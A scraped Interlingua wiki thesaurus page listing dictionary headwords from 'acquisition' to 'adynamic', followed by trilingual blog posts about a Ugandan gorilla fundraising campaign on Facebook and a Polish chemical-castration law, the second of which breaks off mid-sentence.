acquisition linguisticModificar acquisition linguistica acquisitiveModificar acquisitivo(s) \/ acquisitiva(s) acquisitorModificar acraniaModificar acreModificar acre(s) acribometroModificar acridinaModificar acridioModificar acridulceModificar acridulce(s) acriflavinaModificar acrimoniaModificar acrimonioseModificar acrimonioso(s) \/ acrimoniosa(s) acritateModificar acriticModificar acritico(s) \/ acritica(s) acrobataModificar acrobata aereeModificar acrobata aereo \/ aerea acrobatas de un circoModificar acrobatiaModificar acrobatia aereeModificar acrobatia aerea acrobaticModificar acrobatico(s) \/ acrobatica(s) acrobatismoModificar acrobatismo aereeModificar acrobatismo aereo acrocarpeModificar acrocarpe(s) acrocentricModificar acrocentrico(s) \/ acrocentrica(s) acrocephaleModificar acrocephalo(s) \/ acrocephala(s) acrocephaliaModificar acrocephaloModificar acrocephalo palustreModificar acrocyanose \/ acrocyanosisModificar acroleinaModificar acrolithoModificar acromegaliaModificar acromegalicModificar acromegalico(s) \/ acromegalica(s) acromialModificar acromial(es) acromioModificar acronymoModificar acropathiaModificar acropathologiaModificar acropetaleModificar acropetalo(s) \/ acropetala(s) acropeteModificar acropeto(s) \/ acropeta(s) acrophobiaModificar acropoleModificar acropole [la acrosepaleModificar acrosepalo(s) \/ acrosepala(s) acrosomaModificar acrosoma [le acrostichioModificar acroterioModificar acrylModificar acryl [le acrylatoModificar acrylicModificar acrylico(s) \/ acrylica(s) acteaModificar actea spicateModificar actea spicata actinaModificar actiniaModificar actinicModificar actinico(s) \/ actinica(s) actinicitateModificar actinismoModificar actinitisModificar actiniumModificar actinogrammaModificar actinographiaModificar actinographicModificar actinographico(s) \/ actinographica(s) actinologiaModificar actinologicModificar actinologico(s) \/ actinologica(s) actinometriaModificar actinometricModificar actinometrico(s) \/ actinometrica(s) actinometroModificar actinomorpheModificar actinomorpho(s) \/ actinomorpha(s) actinomorphiaModificar actinomycetinaModificar actinomycetoModificar actinomycinaModificar actinomycose \/ actinomycosisModificar actinomycosicModificar actinomycosico(s) \/ actinomycosica(s) actinotherapiaModificar actionModificar action al portatorModificar action antisportiveModificar action antisportiva action bancariModificar action bancaria action capillarModificar action cardiacModificar action cardiaca action caritabileModificar action catalyticModificar action catalytica action chimicModificar action chimica action civilModificar action condemnabileModificar action conjuncteModificar action conjuncta action convertibileModificar action curativeModificar action curativa action de boycottageModificar action de commandoModificar action de desperationModificar action de desperoModificar action de mareaModificar action de massaModificar action de matModificar action de minasModificar action de occupationModificar action de prioritateModificar action de propagandaModificar action de protestoModificar action de represaliaModificar action de retaliationModificar action de solidaritateModificar action de succursoModificar action de supportoModificar action de transistorModificar action de un medicamentoModificar action de un roman \/ romanceModificar action del genesModificar action de los genes action deleterie de un substantiaModificar action deleteria de una substantia action demoliente del temporeModificar action desperateModificar action desperata action e reactionModificar action e \/ et reaction action encomiabileModificar action fulmineModificar action fulmine action illegalModificar action illiciteModificar action illicita action impieModificar action impia action incauteModificar action incauta action incriminabileModificar action instinctiveModificar action instinctiva action kamikazeModificar action laserModificar action magneticModificar action magnetica action meritoriModificar action meritoria action militarModificar action miraculoseModificar action miraculosa action misericordioseModificar action misericordiosa action modelloModificar action muscularModificar action nominalModificar action nominativeModificar action nominativa action ordinariModificar action ordinaria action petitoriModificar action petitoria action petrolerModificar action petrolera action politicModificar action politica action possessoriModificar action possessoria action preferentialModificar action privilegiateModificar action privilegiata action reciprocModificar action reciproca action registrateModificar action registrata action retardatoriModificar action retardatoria action retrogradeModificar action retrograda action salarialModificar action sanctificatoriModificar action sanctificatoria action terroristaModificar actionabileModificar actionabile(s) actionamentoModificar actionamento a distantiaModificar actionarModificar actionar le \/ del sedia ejectabileModificar actionar la \/ de_la sedia ejectabile actionar le frenoModificar actionar le motorModificar actionar le sufflettoModificar actionar per un motor electricModificar actionar per un motor electrico actionar un tabula de commutatoresModificar actionar una tabula de commutatores actionariModificar actionario(s) \/ actionaria(s) actionariatoModificar actioneroModificar actiones cedibileModificar actiones cedibiles actiones ceremonialModificar actiones ceremoniales actiones coordinateModificar actiones coordinatas actiones cruelModificar actiones crueles actiones durModificar actiones duras actiones fraudulenteModificar actiones fraudulentas actiones impudicModificar actiones impudicas actiones indecenteModificar actiones indecentes actiones quotate in le bursaModificar actiones quotatas in la bursa actionistaModificar actionista majoritariModificar actionista majoritario \/ majoritaria actionista ordinariModificar actionista ordinario \/ ordinaria activarModificar activar le circulation del sanguineModificar activar la circulation del sanguine activar le focoModificar activar un machinaModificar activar una machina activationModificar activation del genModificar activatorModificar activeModificar activo(s) \/ activa(s) activismoModificar activistaModificar activisticModificar activistico(s) \/ activistica(s) activitateModificar activitate aereeModificar activitate aerea activitate cardiacModificar activitate cardiaca activitate cerebralModificar activitate clandestinModificar activitate clandestina activitate consortialModificar activitate enzymaticModificar activitate enzymatica activitate eruptive de un vulcanoModificar activitate eruptiva de un vulcano activitate febrilModificar activitate metabolicModificar activitate metabolica activitate muscularModificar activitate pragmaticModificar activitate pragmatica activitate professionalModificar activitate psychic subliminalModificar activitate psychica subliminal activitate remunerativeModificar activitate remunerativa activitate saisonalModificar activitate solarModificar activitates collateralModificar activitates collaterales activitates extrascholarModificar activitates extrascholares activitates fraudulenteModificar activitates fraudulentas activitates illegalModificar activitates illegales activitates jornalisticModificar activitates jornalisticas activitates parascholarModificar activitates parascholares activitates portuariModificar activitates portuarias activitates prescholarModificar activitates prescholares activitates professionalModificar activitates professionales activitates prohibiteModificar activitates prohibitas activitates quotidianModificar activitates quotidianas activitates scissionistaModificar activitates scissionistas activoModificar activo de un successionModificar activo de una succession activo liquideModificar activo liquido actoModificar acto abjuratoriModificar acto abjuratorio acto baptismalModificar acto collusiveModificar acto collusivo acto collusoriModificar acto collusorio acto de abnegationModificar acto de accusationModificar acto de baptismoModificar acto de aggressionModificar acto de appunctamentoModificar acto de brigantageModificar acto de cautionModificar acto de cessionModificar acto de corageModificar acto de crueltateModificar acto de decessoModificar acto de desperationModificar acto de desperoModificar acto de devotionModificar acto de donationModificar acto de fideModificar acto de fundationModificar acto de generositateModificar acto de guerraModificar acto de heroismoModificar acto de hostilitateModificar acto de maritageModificar acto de morteModificar acto de nascentiaModificar acto de nominationModificar acto de notorietateModificar acto de patriotismoModificar acto de pirateria ferroviariModificar acto de pirateria ferroviaria acto de sabotageModificar acto de terrorismoModificar acto de valentiaModificar acto de venditaModificar acto de violentiaModificar acto declaratoriModificar acto declaratorio acto del stato civilModificar acto delictuoseModificar acto delictuoso acto desperateModificar acto desperato acto emphyteoticModificar acto emphyteotico acto fiduciariModificar acto fiduciario acto heroicModificar acto heroico acto hostilModificar acto illegitimeModificar acto illegitimo acto inconvenienteModificar acto indeliberateModificar acto indeliberato acto infameModificar acto inhumanModificar acto inhumano acto juridicModificar acto juridico acto medicalModificar acto minutariModificar acto minutario acto notarialModificar acto penitentialModificar acto provocatoriModificar acto provocatorio acto punibileModificar acto religioseModificar acto religioso acto sacramentalModificar acto sexualModificar acto spurieModificar acto spurio acto synallagmaticModificar acto synallagmatico acto translativeModificar acto translativo acto valoroseModificar acto valoroso actomyosinaModificar actorModificar actor cinematographicModificar actor cinematographico actor comicModificar actor comico actor de cine \/ cinemaModificar actor professionalModificar actor tragicModificar actor tragico actos authenticModificar actos authenticos actos cultualModificar actos cultuales actos de un congressoModificar actos de vandalismoModificar Actos del ApostolosModificar Actos de los Apostolos actos del parlamentoModificar actos del reunionModificar actos de la reunion actos immoralModificar actos immorales actos infantilModificar actos infantiles actos irreflexiveModificar actos irreflexivos actos libidinoseModificar actos libidinosos actos sacralModificar actos sacrales actos sacrilegeModificar actos sacrilegos actos vandalicModificar actos vandalicos actriceModificar actuabileModificar actuabile(s) actualModificar actual(es) actualisarModificar actualizar actualisar le programma de un computatorModificar actualizar le programma de un computator actualisar le programma de un computerModificar actualizar le programma de un computer actualisar un manual scholarModificar actualizar un manual scholar actualisar un problemaModificar actualizar un problema actualisationModificar actualization actualismoModificar actualistaModificar actualitateModificar actualitate de un problemaModificar actualitate economicModificar actualitate economica actualitate mundialModificar actualitate politicModificar actualitate politica actualitate quotidianModificar actualitate quotidiana actualitate sportiveModificar actualitate sportiva actualitatesModificar actualitates filmateModificar actualitates filmatas actualmenteModificar actuarModificar actuarialModificar actuarial(es) actuariatoModificar actuarioModificar actuationModificar acuitateModificar acuitate auditiveModificar acuitate auditiva acuitate auditoriModificar acuitate auditoria acuitate de un sonoModificar acuitate del auditionModificar acuitate de la audition acuitate del facultate visiveModificar acuitate de la facultate visiva acuitate del sensosModificar acuitate de los sensos acuitate del visionModificar acuitate de la vision acuitate del vistaModificar acuitate de la vista acuitate sensorialModificar acuitate visualModificar aculeateModificar aculeato(s) \/ aculeata(s) aculeiformeModificar aculeiforme(s) aculeoModificar aculeo de apeModificar aculeo de vespaModificar acumetriaModificar acumetricModificar acumetrico(s) \/ acumetrica(s) acumetroModificar acuminarModificar acuminateModificar acuminato(s) \/ acuminatas(s) acumineModificar acumine [le acupressuraModificar acupuncturaModificar acupunctura chineseModificar acupunctura chinesa acupuncturarModificar acupuncturistaModificar acusticModificar acustico(s) \/ acustica(s) acusticaModificar acustica applicateModificar acustica applicata acustica de un salaModificar acustica de una sala acustoelectricModificar acustoelectrico(s) \/ acustoelectrica(s) acutangularModificar acutangular(es) acutanguleModificar acutangulo(s) \/ acutangula(s) acuteModificar acuto(s) \/ acuta(s) acute appendicitisModificar acuta appendicitis acutessaModificar acutessa auditiveModificar acutessa auditiva acutessa auditoriModificar acutessa auditoria acutessa del auditionModificar acutessa de la audition acutessa del facultate visiveModificar acutessa de la facultate visiva acutessa del sensosModificar acutessa de los sensos acutessa del visionModificar acutessa de la vision acutessa del vistaModificar acutessa de la vista acutessa sensorialModificar acutessa visualModificar acutiamentoModificar acutiarModificar acutiar le spiritoModificar acutiatorModificar acutiator de cisoriosModificar acuticaudeModificar acuticaude(s) adj acutidentateModificar acutidentato(s) \/ acutidentata(s) acutiflorModificar acutiflor(es) acutifoliateModificar acutifoliato(s) \/ acutifoliata(s) acutifolieModificar acutifolio(s) acutipetaleModificar acutipetalo(s) \/ acutipetala(s) acutisepaleModificar acutisepalo(s) \/ acutisepala(s) acutiserrateModificar acutiserrato(s) \/ acutiserrata(s) acyclicModificar acyclico(s) \/ acyclica(s) ad prepModificar ad hoc [L]Modificar ad hominem [L]Modificar ad_libitum \/ ad_lib [L]Modificar ad patres [L]Modificar ad rem [L]Modificar ad valorem [L]Modificar adactyleModificar adactylo(s) \/ adactyla(s) adagioModificar adagio de BachModificar adalinaModificar AdamModificar adamanteModificar adamante(s) adamantinModificar adamantino(s) \/ adamantina(s) adamicModificar adamico(s) \/ adamica(s) adamismoModificar adamismo adamitasModificar adaptabileModificar adaptabile(s) adaptabilitateModificar adaptarModificar adaptar al usoModificar adaptar pro le theatroModificar adaptar se al circumstantiasModificar adaptar se a las circumstantias adaptar un roman \/ romance pro le televisionModificar adaptar un roman \/ romance pro la television adaptationModificar adaptation cinematographicModificar adaptation cinematographica adaptation conjunctural del fiscalitateModificar adaptation conjunctural de la fiscalitate adaptation del inseniamento al etate del alumnosModificar adaptation del inseniamento a la etate de los alumnos adaptation in Interlingua de iste libroModificar adaptation in Interlingua de iste \/ isto libro adaptation in prosaModificar adaptation pro le televisionModificar adaptation pro la television adaptation scenicModificar adaptation scenica adaptation scenic de un conto de aventurasModificar adaptation scenica de un conto de aventuras adaptation theatralModificar adaptation theatral de un conto de aventurasModificar adaptatorModificar adaptiveModificar adaptivo(s) \/ adaptiva(s) adaptometriaModificar addaxModificar addax [le addendum (pl addenda) [NL]Modificar adderModificar adder le tocca finienteModificar adder lustro a un eventoModificar adder salModificar adder un coclearata de sucroModificar adder una coclearata de sucro adder un cosa al discussionModificar adder una cosa a la discussion additionModificar additionalModificar additional(es) additionarModificar additionar le totalesModificar additionar los totales additionatorModificar additiveModificar additivo(s) \/ additiva(s) additivitateModificar additivitate completeModificar additivitate completa additivoModificar additivo al budgetModificar additivo alimentariModificar additivo alimentario additivo aromaticModificar additivo aromatico additivo de alligatoModificar additivo hydrofugeModificar additivo hydrofugo addormirModificar addormir le vigilantia de un personaModificar addormir la vigilantia de una persona addormir seModificar addormir se addormir su conscientiaModificar addormiteModificar addormito(s) \/ addormita(s) adducerModificar adducer argumentos (convincente)Modificar adducer argumentos (convincentes) adducer probas \/ provasModificar adducer rationesModificar adducibileModificar adducibile(s) adductionModificar adduction de aquaModificar adduction de gasModificar adduction de vaporModificar adductorModificar adductor del polliceModificar adelphogamiaModificar aden [Gr.]Modificar aden [la adenalgiaModificar adeniformeModificar adeniforme(s) adeninaModificar adenitisModificar adenocarcinomaModificar adenofibromaModificar adenographiaModificar adenoideModificar adenoide(s) adj adenoidesModificar adenoides [las adenologiaModificar adenomaModificar adenoma bronchianModificar adenoma bronchiano adenoma prostaticModificar adenoma prostatico adenomatoseModificar adenomatoso(s) \/ adenomatosa(s) adenopathiaModificar adenoseModificar adenoso(s) \/ adenosa(s) adenosinaModificar adenovirusModificar adeoModificar adeo eternalModificar adeptoModificar adequabileModificar adequabile(s) adequarModificar adequateModificar adequato(s) \/ adequata(s) adequate pro un residentia permanenteModificar [adequato(s) \/ adequata(s)] pro una residentia permanente adequationModificar aderminaModificar adherenteModificar adherente adj, sub [le \/ la adherente del partitoModificar adherente phantomaModificar adherentiaModificar adhererModificar adherer a un partitoModificar adherer al clandestinitateModificar adherer a la clandestinitate adherer al resistentiaModificar adherer a la resistentia adherer se a un puncto de vistaModificar adhesionModificar adhesion de Svedia al Union EuropeeModificar adhesion de Svedia a la Union Europea adhesiveModificar adhesivo(s) \/ adhesiva(s) adhesivitateModificar adhesivoModificar adhesivo de siliconeModificar adhesivo thixotropicModificar adhesivo thixotropico adiabaticModificar adiabatico(s) \/ adiabatica(s) adiantoModificar adieu [F]Modificar adipeModificar adipe [le adipoceraModificar adipocytoModificar adipolyse \/ adipolysisModificar adipopexiaModificar adiposeModificar adiposo(s) \/ adiposa(s) adiposisModificar adipositateModificar adipositate del cordeModificar adirModificar aditionModificar aditoModificar adjacenteModificar adjacente(s) adjacente al jardinModificar adjacentiaModificar adjacer (a)Modificar adjectivalModificar adjectival(es) adjectivarModificar adjectivar un participio passateModificar adjectivar un participio passato adjectiveModificar adjectivo(s) \/ adjectiva(s) adjectivoModificar adjectivo indeclinabileModificar adjectivo meliorativeModificar adjectivo meliorativo adjectivo numeral ordinalModificar adjectivo pejorativeModificar adjectivo pejorativo adjectivo predicativeModificar adjectivo predicativo adjectivo qualificativeModificar adjectivo qualificativo adjectivos subtantivateModificar adjectivos subtantivatos adjudicarModificar adjudicar actionesModificar adjudicar al melior offerenteModificar adjudicar un indemnisation a un personaModificar adjudicar una indemnization a una persona adjudicar un labor a un personaModificar adjudicar un labor a una persona adjudicar un parte a un actorModificar adjudicar una parte a un actor adjudicar un rolo a un actorModificar adjudicar un travalio a un personaModificar adjudicar un travalio a una persona adjudicatarioModificar adjudicationModificar adjudication judiciariModificar adjudication judiciaria adjudication publicModificar adjudication publica adjudication voluntariModificar adjudication voluntaria adjudicativeModificar adjudicativo(s) \/ adjucativa(s) adjudicatorModificar adjuncteModificar adjuncto(s) \/ adjuncta(s) adjunctionModificar adjunctiones in le nove edition de un libroModificar adjunctiones in la nova edition de un libro adjunctiveModificar adjunctivo(s) \/ adjunctiva(s) adjunctoModificar adjuncto technicModificar adjuncto technico adjungerModificar adjunger ancora un florinoModificar adjunger le augmento del impostos in le preciosModificar adjunger le augmento de los impostos in los precios adjunger pro firmarModificar adjunger pro signarModificar adjunger salModificar adjunger un ala aModificar adjunger una ala a adjunger un annexo aModificar adjunger un coclearata de sucroModificar adjunger una coclearata de sucro adjunger un detalio pro completar le insimulModificar adjunger un formularioModificar adjurarModificar adjurationModificar adjustabileModificar adjustabile(s) adjustabilitateModificar adjustageModificar adjustage de un motorModificar adjustamentoModificar adjustamento de contrastoModificar adjustamento de un motorModificar adjustamento del preciosModificar adjustamento de los precios adjustarModificar adjustar le frenosModificar adjustar los frenos adjustar le pharosModificar adjustar los pharos adjustar le planosModificar adjustar los planos adjustar le valvulasModificar adjustar las valvulas adjustar un balanciaModificar adjustar una balancia adjustar un machinaModificar adjustar una machina adjustar un motorModificar adjustatorModificar adjustator marginalModificar adjutaModificar adjuta al indigentesModificar adjuta a los indigentes adjuta al refugiatosModificar adjuta a los refugiatos adjuta alimentariModificar adjuta alimentaria adjuta camioneroModificar adjuta de cocinaModificar adjuta de cocineroModificar adjuta de scarperoModificar adjuta del governamentoModificar adjuta del statoModificar adjuta disinteressateModificar adjuta disinteressata adjuta domesticModificar adjuta domestica adjuta economicModificar adjuta economica adjuta familialModificar adjuta geriatricModificar adjuta geriatrica adjuta governamentalModificar adjuta incitativeModificar adjuta incitativa adjuta inter vicinosModificar adjuta judiciari \/ juridic gratuiteModificar adjuta judiciaria \/ juridica gratuita adjuta MarshallModificar adjuta masonModificar adjuta materialModificar adjuta medicModificar adjuta medica adjuta mutualModificar adjuta mutueModificar adjuta mutua adjuta obstetricModificar adjuta obstetrice adjuta pecuniariModificar adjuta pecuniaria adjuta pro le exteroModificar adjuta socialModificar adjuta social al \/ pro_le juventuteModificar adjuta social a \/ pro la juventute adjuta statalModificar adjuta symbolicModificar adjuta symbolica adjuta temporariModificar adjuta temporaria adjutacocineroModificar adjutacontabileModificar adjutanteModificar adjutante del batelleroModificar adjutarModificar adjutar al formation de un certe imagineModificar adjutar a la formation de una certa imagine adjutar durante un partoModificar adjutar in le partoModificar adjutar se deModificar adjutar se mutuementeModificar adjutar se mutuamente adjutar un persona a portar un cosaModificar adjutar una persona a portar una cosa adjutar un persona con appoio e consiliosModificar adjutar una persona con appoio e consilios adjutar un persona pecuniarimenteModificar adjutar una persona pecuniariamente adjutar un persona per su consiliosModificar adjutar una persona per sus consilios adjutas audiovisualModificar adjutas audiovisuales adjutorModificar adjuvanteModificar adjuvante(s) adj adjuvarModificar administrabileModificar administrabile(s) administrarModificar administrar justitiaModificar administrar le confirmationModificar administrar la confirmation administrar le (ultime) sacramentosModificar administrar los (ultimos) sacramentos administrar medicamentosModificar administrar un contravenenoModificar administrar un febrifugoModificar administrar un lavamentoModificar administrationModificar administration de bureauModificar administration de creditoresModificar administration de debitoresModificar administration de medicamentosModificar administration de officioModificar administration de un plantationModificar administration de una plantation administration del ecclesiaModificar administration de la ecclesia administration del impostosModificar administration de los impostos administration del interprisaModificar administration de la interprisa administration del salariosModificar administration de los salarios administration del statoModificar administration del (ultime) sacramentosModificar administration de los (ultimos) sacramentos administration fiscalModificar administration forestalModificar administration municipalModificar administration parenteral de un medicamentoModificar administrativeModificar administrativo(s) \/ administrativa(s) administratorModificar administrator de bibliothecaModificar administrator de duplicatosModificar administrator de un libro de cassaModificar administrator del interprisaModificar administrator de la interprisa admirabileModificar admirabile(s) admiralModificar admiralatoModificar admiralitateModificar admirarModificar admirar le panoramaModificar admirationModificar admirativeModificar admirativo(s) \/ admirativa(s) admiratorModificar admirator fanaticModificar admirator fanatico admirator ferventeModificar admiscerModificar admiscer vino con aquaModificar admissibileModificar admissibile(s) admissibilitateModificar admissionModificar admitterModificar admitter le possibilitateModificar admitter la possibilitate admitter nove membrosModificar admitter novos membros admitter su culpabilitateModificar admitter su disfactaModificar admitter su minoritateModificar admitter un persona per cooptationModificar admitter una persona per cooptation admixtionModificar admonerModificar admonestarModificar admonestationModificar admonitionModificar admonitorModificar admonitoriModificar admonitorio(s) \/ admonitoria(s) ADN recombinanteModificar ADN Acido DesoxyribonucleicModificar ADN Acido Desoxyribonucleico adobeModificar adobe [le adoculamentoModificar adocularModificar adolescenteModificar adolescente adj, sub [le \/ la adolescentiaModificar adolescentialModificar adolescential(es) adolescerModificar adonic \/ adonieModificar adonico(s) \/ adonio(s) adonico \/ adonioModificar AdonisModificar adonisModificar adonis autumnalModificar adonis vernalModificar adoptabileModificar adoptabile(s) adoptabilitateModificar adoptarModificar adoptar como normaModificar adoptar le postura adequateModificar adoptar la postura adequata adoptar le theorias de un philosophoModificar adoptar las theorias de un philosopho adoptar per acclamationModificar adoptar un attitudeModificar adoptar una attitude adoptar un attitude individualistaModificar adoptar una attitude individualista adoptar un attitude reactionariModificar adoptar una attitude reactionaria adoptar un costumeModificar adoptar un criterioModificar adoptar un doctrinaModificar adoptar una doctrina adoptar un habitoModificar adoptar un ideaModificar adoptar una idea adoptar un infanteModificar adoptar un legeModificar adoptar una lege adoptar un linea de conductaModificar adoptar una linea de conducta adoptar un nomineModificar adoptar un opinionModificar adoptar una opinion adoptar un postura reactionariModificar adoptar una postura reactionaria adoptar un projecto de legeModificar adoptar un tono sarcasticModificar adoptar un tono sarcastico adoptatorModificar adoptionModificar adoptiveModificar adoptivo(s) \/ adoptiva(s) adorabileModificar adorabile(s) adorabilitateModificar adorarModificar adorar BachModificar adorar DeoModificar adorar le chocolateModificar adorar le idolosModificar adorar los idolos adorar le musicaModificar adorar la musica adorar le vitello de auroModificar adorationModificar adoration del focoModificar adoration del lunaModificar adoration de la luna adoration del MagosModificar adoration de los Magos adoration del solModificar adoratorModificar adorator del focoModificar adorator del lunaModificar adorator de la luna adorator del solModificar adoratriceModificar adoratrices del solModificar adoratrices del sol adornabileModificar adornabile(s) adornamentoModificar adornamento grottescModificar adornamento grottesco adornamento marginalModificar adornarModificar adornar con guirlandasModificar adornar con perlasModificar adornar le arbore de NatalModificar adornar un cameraModificar adornar una camera adornateModificar adornato(s) \/ adornata(s) adornatorModificar adorsarModificar adorsar le banco al muroModificar adoxaModificar adoxa adrenalModificar adrenal(es) adrenalinaModificar adrenalina syntheticModificar adrenalina synthetica adrenalinicModificar adrenalinico(s) \/ adrenalinica(s) adrenochromoModificar adrenocorticalModificar adrenocortical(es) adrenogenitalModificar adrenogenital(es) adrenolyticModificar adrenolytico(s) \/ adrenolytica(s) adrenotherapiaModificar adrenotoxinaModificar adressarModificar adressar le parola a un personaModificar adressar la parola a una persona adressar se aModificar adressar un question al presidenteModificar adressar una question al presidente adressarioModificar adresseModificar adresse calligraphiateModificar adresse calligraphiato adresse de bureauModificar adresse de officioModificar adresse de vacantiasModificar adresse destinate al regeModificar adresse destinato al rege adresse durante le vacantiasModificar adresse durante las vacantias adresse fictiveModificar adresse fictivo adresse particularModificar adresse postalModificar adresse privateModificar adresse privato adresse telegraphicModificar adresse telegraphico adressographoModificar AdriaModificar AdrianoModificar AdrianopoleModificar adriaticModificar adriatico(s) \/ adriatica(s) AdriaticoModificar Adriatico adsorbenteModificar adsorbente(s) adsorberModificar adsorptionModificar adstratoModificar adulabileModificar adulabile(s) adularModificar adulariaModificar adulationModificar adulatorModificar adulatoriModificar adulatorio(s) \/ adulatoria(s) adulatriceModificar adulciamentoModificar adulciarModificar adulteModificar adulto(s) \/ adulta(s) adulteraModificar adulterarModificar adulterar le veritateModificar adulterar la veritate adulterar le vinoModificar adulterar un textoModificar adulterar viveresModificar adulterationModificar adulteration de un medicamentoModificar adulteration de un textoModificar adulteratorModificar adulterator de alimentosModificar adulterator de vinoModificar adulterator de viveresModificar adulterator del veritateModificar adulterator de la veritate adulterinModificar adulterino(s) \/ adulterina(s) adulterioModificar adulteroModificar adulteroseModificar adulteroso(s) \/ adulterosa(s) adultoModificar adumbrabileModificar adumbrabile(s) adumbrarModificar adumbrationModificar adurerModificar adusteModificar adusto(s) \/ adusta(s) adustionModificar advectionModificar advenimentoModificar advenimento al thronoModificar advenimento de un melior mundoModificar advenimento de un nove regimeModificar advenimento de un novo regime advenimento del MessiaModificar advenirModificar adventicieModificar adventicio(s) \/ adventicia(s) adventismoModificar adventistaModificar adventista adj, sub AdventoModificar adverbialModificar adverbial(es) adverbioModificar adverbio causalModificar adverbio conjunctiveModificar adverbio conjunctivo adverbio de affirmationModificar adverbio de comparationModificar adverbio de coordinationModificar adverbio de intensitateModificar adverbio de locoModificar adverbio de manieraModificar adverbio de modalitateModificar adverbio de negationModificar adverbio de qualitateModificar adverbio de quantitateModificar adverbio de temporeModificar adverbio empleate prepositivementeModificar adverbio empleato prepositivamente adverbio interrogativeModificar adverbio interrogativo adverbio negativeModificar adverbio negativo adverbio temporalModificar adversarModificar adversarioModificar adversario declarateModificar adversario declarato adversario implacabileModificar adversario irreconciliabileModificar adversario loyalModificar adversario potentialModificar adversario religioseModificar adversario religioso adversarios inequalModificar adversarios inequales adversativeModificar adversativo(s) \/ adversativa(s) adverse (a)Modificar [adverso(s) \/ adversa(s)] (a) adversitateModificar adversoModificar advertenteModificar advertente(s) advertentiaModificar adverterModificar advertimentoModificar advertirModificar advertir le policiaModificar advertir la policia advertitorModificar advertitor de errorModificar advertitor de incendiosModificar advocarModificar advocateriaModificar advocatoModificar advocato adverseModificar advocato adverso advocato de officioModificar advocato del diaboloModificar advocato del governamentoModificar advocato del parte adverseModificar advocato de la parte adversa advocato del statoModificar advocato facundeModificar advocato facundo advocaturaModificar advocatura socialModificar adynameModificar adynamo(s) \/ adynama(s) adynamiaModificar adynamicModificar adynamico(s) \/ adynamica(s) Obtenite de \"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_a?oldid=5157\" Categorias: Adder categoria Cancellar Salveguardar","id":"","dump":"CC-MAIN-2014-15","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_a","date":"2014-04-16T22:05:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-15\/segments\/1397609525991.2\/warc\/CC-MAIN-20140416005205-00056-ip-10-147-4-33.ec2.internal.warc.gz","language":"ina","language_score":0.7079743743,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"ina_Latn_score\": 0.707974374294281, \"por_Latn_score\": 0.04569261893630028, \"spa_Latn_score\": 0.03150898963212967, \"cat_Latn_score\": 0.026639282703399658, \"ile_Latn_score\": 0.018572088330984116, \"lat_Latn_score\": 0.015090342611074448, \"ron_Latn_score\": 0.01143190823495388, \"lvs_Latn_score\": 0.01125064305961132}","num_words":21941,"character_repetition_ratio":0.229,"word_repetition_ratio":0.003,"special_characters_ratio":0.115,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.763,"perplexity_score":5314.7,"cluster_detection":-1} +{"text":"Wednesday, September 30, 2009\n(Languages of this post: Interlingua, Spanish, English)\nIn omne le partes del mundo il ha habite un explosion de retes social in Internet, per le quales le gente se mantene in contacto con amicos in sitos web como Facebook.\nNunc, gratias a Uganda, vos pote includer le gorillas in vostre collection de amicos.\nIste initiativa es parte de un effortio pro colliger moneta con le fin de proteger le gorillas de montania que se trova in vias de extinction.\nLe sito de Facebook de Uganda, appellate \"Friend a Gorilla\" vos permittera a devenir un amico virtual del gorillas de montania, si vos ha accesso a un computator.\nSur nostre planeta il ha solmente unes 700 gorillas de montania. Le medietate de illos vive in Uganda.\nPro US$1.00 vos potera includer un gorilla in vostre lista de amicos in Facebook, e vos pote eliger un gorilla special como vostre amico personal.\nIl nunc ha cameras in le jungla de Bwindi, ubi vive le gorillas, de maniera que lor amicos human pote observar videos de iste primates durante que illes mangia, joca, o face lor labores diarie.\nLe moneta derivate de este projecto essera utilisate pro programmas de conservation in Uganda.\n---\nEn todo el mundo se ha registrado una explosión de redes sociales en Internet, a través de las cuales la gente se mantiene en contacto con amigos en sitios web como Facebook.\nAhora, gracias a Uganda, usted puede incluir a los gorillas en su colección de amigos.\nEsta iniciativa es parte de un esfuerzo para recaudar fondos con el fin de proteger a los gorilas de montaña que se encuentran en vías de extinción.\nEl sitio de Facebook de Uganda, denominado \"Friend a Gorilla\" le permitirá convertirse en un amigo virtual de los gorilas de montaña, si usted tiene acceso a una computadora.\nEn nuestro planeta sólo quedan unos 700 gorilas de montaña. La mitad de ellos viven en Uganda.\nPor US$1.00 usted podrá incluir a un gorila en su lista de amigos en Facebook, y usted puede elegir a un gorila especial como su amigo personal.\nAhora hay cámaras en la Selva de Bwindi, donde viven los gorilas, para que sus amigos humanos puedan observar videos de estos primates comiendo, jugando o en sus tareas cotidianas.\nEl dinero derivado de este proyecto se usará para programas de conservación en Uganda.\n---\nThroughout the world there has been an explosion of social networks on the Internet, through which people stay in touch with friends on sites like Facebook.\nNow, thanks to Uganda, you can include gorillas in your collection of friends.\nThis initiative is part of an effort to raise funds in order to protect the mountain gorillas, which are on their way to extinction.\nUganda's Facebook site called \"Friend a Gorilla\" will allow you to become virtual friends of the mountain gorillas, as long as you have access to a computer.\nOn our planet there are only about 700 mountain gorillas left. Half of them live in Uganda.\nFor one dollar you can include a gorilla in your list of friends on Facebook and may even choose a special gorilla as your personal friend.\nNow there are cameras in the Bwindi jungle, where the gorillas live, so that their human friends can watch videos of these primates eating, playing, or doing their daily chores.\nThe money derived from this project will be used for conservation programs in Uganda.\nPosted by hkyson at 7:42 PM\n(Languages of this post: Interlingua, Spanish, English)\nLe camera basse del parlamento polonese approbava per un grandissime majoritate un lege que castigarea adultos condemate pro incesto o pro violar minores de 15 annos.\nDel 403 legislatores presente, solmente un votava in contra, duo se abstineva, e 400 votava in favor del pena que, si illo es approbate, obligara le abusatores a prender pharmacos pro reducer lor libido, un practica cognoscite como castration chimic.\nLe pedophilos debera facer le tractamento post esser liberate del prision a fin de prevenir nove offensas.\nSi le abusator ha inter 15 e 18 annos de etate, le tribunal habera le facultate de infliger iste castigo o non facer lo.\nIste lege anque se applicara a illes qui abusa parentes proxime, ben que le proposition non specifica le etate o le grado de consanguinitate.\nLe governamento de centro dextre de Polonia proponeva le lege post un serie de casos de alte profilo de pedophilia e incesto in 2008.\nLe prime ministro polonese, Donald Tusk, diceva que ille es a favor del castration chimic pro le pedophilos, que ile qualificava como \"degeneratos\".\nIste lege, que totevia debe esser approbate per le camera alte e per le presidente, Lech Kaczynski, es criticate per gruppos de derectos human como excessive, e un advocato indicava que illo pote esser 